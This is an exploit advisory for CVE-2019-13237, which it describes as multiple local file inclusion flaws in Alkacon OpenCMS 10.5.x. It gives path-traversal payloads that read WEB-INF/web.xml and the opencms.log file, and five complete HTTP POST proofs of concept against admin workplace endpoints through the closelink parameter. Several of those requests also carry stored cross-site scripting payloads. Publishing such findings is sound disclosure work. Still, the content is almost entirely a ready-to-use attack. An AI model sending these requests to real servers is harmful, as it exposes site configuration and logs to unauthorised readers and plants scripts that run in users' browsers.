Alkacon OpenCMS 10.5.x - Local File inclusion

# Exploit Title: Alkacon OpenCMS 10.5.x - Multiple LFI in Alkacon OpenCms
Site Management
# Google Dork: N/A
# Date: 18/07/2019
# Exploit Author: Aetsu
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: 10.5.x
# Tested on: 10.5.5 / 10.5.4
# CVE : CVE-2019-13237

For the tests, I used the payloads:
```
…%2f…%2fWEB-INF%2flogs%2fopencms.log
…%2f…%2fWEB-INF%2fweb.xml
```

1. Affected resource closelink:
POC:
```
POST /system/workplace/admin/workplace/loginmessage.jsp HTTP/1.1
Host: example.com
enabled.0=true&enabled.0.value=true&message.0=%3Cimg+src%3D.+onerror%3Dalert%281%29%3E%0D%0A&loginForbidden.0.value=false&timeStart.0=1%2F3%2F2000+12%3A00+AM&ok=Ok&elementname=undefined&path=%252Fworkplace%252Floginmessage&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename=
```
2. Affected resource closelink:
POC:
```
POST /system/workplace/admin/contenttools/reports/xmlcontentrepair.jsp
HTTP/1.1
Host: example.com
reporttype=extended&reportcontinuekey=&thread=dcbb6737-661b-11e9-a9fc-0242ac11002b&threadhasnext=false&action=reportend&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&ok=Ok
```
3. Affected resource closelink:
POC:
```
POST /system/workplace/admin/accounts/group_new.jsp HTTP/1.1
Host: example.com
name.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Name%27%29%3E&description.0=%3Cimg+src%3D.+onerror%3Dalert%28%27Description%27%29%3E&assignedOu.0=root+organizational+unit+%28%2F%29&enabled.0=true&enabled.0.value=true&ok=Ok&oufqn=&elementname=undefined&path=%252Faccounts%252Forgunit%252Fgroups%252Fnew&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename=
```
4. Affected resource closelink:
POC:
```
POST /system/workplace/admin/history/settings/index.jsp HTTP/1.1
Host: example.com
versions.0=10&mode.0=2&ok=OK&elementname=undefined&path=%252Fhistory%252Fsettings&elementindex=0&action=save&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&page=page1&framename=
```
5. Affected resource closelink:
POC:
```
POST /system/workplace/admin/history/reports/clearhistory.jsp HTTP/1.1
Host: example.com
reporttype=extended&reportcontinuekey=&thread=ac0bbd5f-66cd-11e9-ae09-0242ac11002b&classname=org.opencms.workplace.tools.history.CmsHistoryClearDialog&threadhasnext=false&action=reportend&closelink=..%2f..%2fWEB-INF%2fweb.xml&style=new&ok=OK
```


Extended POCs: https://aetsu.github.io/OpenCms